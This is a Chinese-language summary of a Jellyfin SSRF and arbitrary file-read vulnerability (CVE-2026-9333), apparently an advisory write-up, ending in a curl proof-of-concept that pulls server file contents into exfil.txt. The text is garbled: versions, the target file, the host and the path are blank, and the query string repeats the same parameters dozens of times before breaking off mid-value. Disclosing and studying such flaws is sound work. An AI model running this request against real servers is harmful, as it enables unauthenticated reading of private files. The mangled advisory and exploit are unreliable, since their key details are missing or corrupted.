漏洞总结：Jellyfin SSRF + 任意文件读取 漏洞概述 Jellyfin 存在一个未认证的远程任意文件读取漏洞（SSRF），通过 参数注入实现。攻击者可以利用 端点读取服务器上的任意文件（如 ），并将内容以文本形式渲染在视频流中。 影响范围 受影响版本： 修复版本： 严重程度：High CVE ID：CVE-2026-9333 弱点：CWE-88, CWE-862 修复方案 该问题已在版本 中修复，并通过改进受影响 API 端点的 sanitization 机制进行了修复。 POC 代码 ```bash curl -o exfil.txt \ -H 'X-Emby-Authorization: MediaBrowser Client="PC", Device="CLI", DeviceId="poc", Version="1.0.0"' \ 'http://:8096/videos//stream?videoId=c0264audioCodec=aac&container=ts&stream=live&streamType=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=100&stream=live&playSessionId=live&itemId=1